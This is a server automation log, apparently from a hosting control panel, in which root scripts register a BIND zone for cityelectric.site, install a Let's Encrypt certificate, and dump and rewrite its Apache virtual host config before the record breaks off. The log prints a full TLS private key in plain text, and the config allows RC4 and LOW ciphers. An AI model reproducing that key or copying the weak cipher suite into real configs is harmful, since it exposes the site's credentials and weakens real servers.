MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-18 16:32:50: 

PUT: /tmp/pkp371172

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2025-11-18 16:32:50: 

chmod 755 /tmp/pkp371172; /tmp/pkp371172; rm /tmp/pkp371172

2025-11-18 16:32:53: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2025-11-18 16:32:53: 

PUT: /tmp/pkp577403

#!/bin/bash
rndc reload cityelectric.site 2>&1


2025-11-18 16:32:53: 

chmod 755 /tmp/pkp577403; /tmp/pkp577403; rm /tmp/pkp577403

2025-11-18 16:32:53: 


zone reload up-to-date


2025-11-18 16:33:03: Establishing a remote connection
2025-11-18 16:33:04: 

PUT: /tmp/pkp205142

#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=8b681b324e20018bd65d7ce40680da56.crt
CHAINTARGET=8b681b324e20018bd65d7ce40680da56.chain.crt

cat > $temp_file <<'endmsg'
1e:c2:aa:aa:4d:86:24:53:fd:4a:7f:6e:c0:7f:1f:bd

-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBYXeYB0BsStA8cvZ/pYg3+M6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTE4MTUzNDMzWhcNMjYwMjE2MTUzNDMyWjAcMRowGAYDVQQD
ExFjaXR5ZWxlY3RyaWMuc2l0ZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOFTY/aAsAmO9G8peaJYijdE53lFC4Vt/EBKW3F8gvcYrwJuGK4kmwB8ux6f
1gf+Ee+alz7bCgQ6Y49vOdBY2eQvGxLwOAfqMkQbLT3/l3SO75CmyWsi85BnRygu
H8tXiTyboUjcVHXmFG6y1ws6aoMRR1fEdufna8s5A6QsL7UHxFN2mMFq0e89YK8K
9kHffRprYjFhdQFJ5JgXPy+/kc84VNqSxOloA60E73eggQeFrO5uxt6qA9Z585oX
n3tz9I1HhB6ig8zfq42+bHruuwGKpSoPMsukz+uF96KIwgqGE/N3e/un4XhEXqAX
T8hIu1NNxjHmwz0IzPMh02F4tqkCAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU7+v2EKx3m0vqtM7WXgMZhhlssycwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFjaXR5ZWxlY3RyaWMuc2l0
ZTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzU5LmNybDCCAQYGCisGAQQB1nkCBAIEgfcEgfQA8gB3
ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmpfQAxIAAAQDAEgw
RgIhAKi3r232Mol6OzuyPysPDL7V4MEMSSx+zNeigfvMFbu8AiEAxUmD5fhzzC+1
lGssQIOnbs0Yt0Nc8iq6BofWTsDzbzcAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak
8zZuRqQ/D8qpxgAAAZqX0ANeAAAEAwBIMEYCIQDOODMEQW+g5P+eJeJdEtpdwu2U
8sZYI0Dnif8/MwgkiwIhAN27cwEwfJn+yYy+UfVay8r9TquTKPo9BDEffsiqPrKJ
MA0GCSqGSIb3DQEBCwUAA4IBAQBEi4l40wvTFLnteuUgoM6eszaiTXlX5THcVio5
GlPGKrHmI9r9Qzb6fiE2ekKBAAGH5ujjiQl6b7wg5fPtFuHdOxgl4LBhI/QAytpL
5Luf46ABnpPSdr+BfHtaKdsE/OjgtPHvuAN7y8VHTYubAqVCqv0pUaJNRlMoXJLE
nQNsbkuC/NgzL0ShrHBWJTes5IykNEBUu+06uMJx+hWkt92PPsEqujC0aR3t5Brc
iHFUwizWhjjaZoo94EVWBPSXLvkemx/NBGb6HxYYXbc1Y5cCAY/wMCJqiszrYIgA
9gU57Bd5M5egtURx+fNAghTheA0q7TahHF2b8UUPkYdKJjxf
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDhU2P2gLAJjvRv
KXmiWIo3ROd5RQuFbfxASltxfIL3GK8CbhiuJJsAfLsen9YH/hHvmpc+2woEOmOP
bznQWNnkLxsS8DgH6jJEGy09/5d0ju+QpslrIvOQZ0coLh/LV4k8m6FI3FR15hRu
stcLOmqDEUdXxHbn52vLOQOkLC+1B8RTdpjBatHvPWCvCvZB330aa2IxYXUBSeSY
Fz8vv5HPOFTaksTpaAOtBO93oIEHhazubsbeqgPWefOaF597c/SNR4QeooPM36uN
vmx67rsBiqUqDzLLpM/rhfeiiMIKhhPzd3v7p+F4RF6gF0/ISLtTTcYx5sM9CMzz
IdNheLapAgMBAAECggEAFgx/8qYjE7xeZOZNFbrOQ5xFflNoTjU2AuCD1DYX5rAO
qBE37wp79G9ALD39xqhw/t5EwIzUjRddmLKMmLupDrAhWRgSk4uyQYHbSn7RRkGa
ZbA8c3RnGxFQIDlrOQ2myzx7atLMnQDXrQFpE5sywwKU1ZzO+eBmZut8VLtSK8eY
xiarOedoQ3vKLkZ4sOoG8e6MUNXDJvQVGDXAAaW6+uJCfSR4zDkKFkB6viJvvp63
XSRVYAZwsaQQ8eVvPfhyPjrkha0ZJ/exKX95ihhRP8tt8iliG3t7vEcMIZdVSqq/
DMtdMOMceUxsJEVFCiIJmo+2lIgLsUgRw+2Gyv7bgQKBgQD06X6XbGIXmxkNS1m+
A0MmLTq8UtwSZ4K3SRU2+3pzmjAq9aXROXRD39jYiVEpV1VTpkKjyKPGSluY2nTv
y2bVbpDRQbg43M6xdC5H7sNmIDU0iuQmbvlI43/qbyjY+BCcxW9uoB6KFjVEnQQt
ulrA6JlUfFdj5CXtHFFpCgN6GQKBgQDrhuRuDGVz6oOqXsGWekz8gwaksj9ynplO
6J9DlnDshgSOWqXmDBdso4OhyMdsZ2X147VlxrZ+X1bQ/WoyC/UAg9ze/ZWC+zWy
ek0T1rQetK1kQ2GliUaaj61BbdZawtvopc/EYDHnjcY7ZX+UkNIV22xYT59AUTD+
asgpz9PTEQKBgQC15hH6nyn/xFcH87X0lXGzEha0tonzNWP1g1c5Xe/lmlg6H/aG
/bgnjUL+GIbqQI4EMdD+2k8hQCrlzSLa0uROku8GLFyKBx2Q2Oxiyqff2v4JRzsK
fJOzmhxwXx0kgKG9/jm0HUJxZusrSb9Hw0gSTO9Mu4kgjNvKTqT8cc6BSQKBgHLq
Vfn7wmRUP/mYUgwBkB6EL3GcJqjeCR8fENYBSQeePArY36jmrWcsQMVnGSYjLPRU
LeWClvgBvHIrsuzIOLoPnGyQfapytzhlw8WyNB/nN9J7reD+oZw4Deimlreh63oP
rNe7t52q5tWEKENshZR0guBzuNfAxY7cutzrsgaBAoGAEzacN9YGEwXFGFcqrwrb
JaWpkBSqodQXna3hSZcLrSpCPZeqsb1am4uQzdCaHQHBnVkWx9DiZaqp//0+vuBd
JwwNhZ39NkO3oKRRH+gk+cuabExCcK3O1zfrCPQFyCdNL7XgiSXRATxp5GoFLYY+
pPRLKMvNnNwWxiraTDIsx/o=
-----END PRIVATE KEY-----


endmsg

cat > $chain_file <<'endmsg'
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	cp $chain_file /etc/ssl/certs/$CHAINTARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file
rm $chain_file


2025-11-18 16:33:04: 

chmod 755 /tmp/pkp205142; /tmp/pkp205142; rm /tmp/pkp205142



dir=/etc/ssl/certs


2025-11-18 16:33:05: 

PUT: /tmp/pkp616533

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/cityelectric_www_site.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-18 16:33:05: 

chmod 755 /tmp/pkp616533; /tmp/pkp616533; rm /tmp/pkp616533

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf 45

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>






2025-11-18 16:33:07: 

PUT: /tmp/pkp881547

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=cityelectric_www_site.conf
TARGET=/etc/apache2/sites-enabled/cityelectric_www_site.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
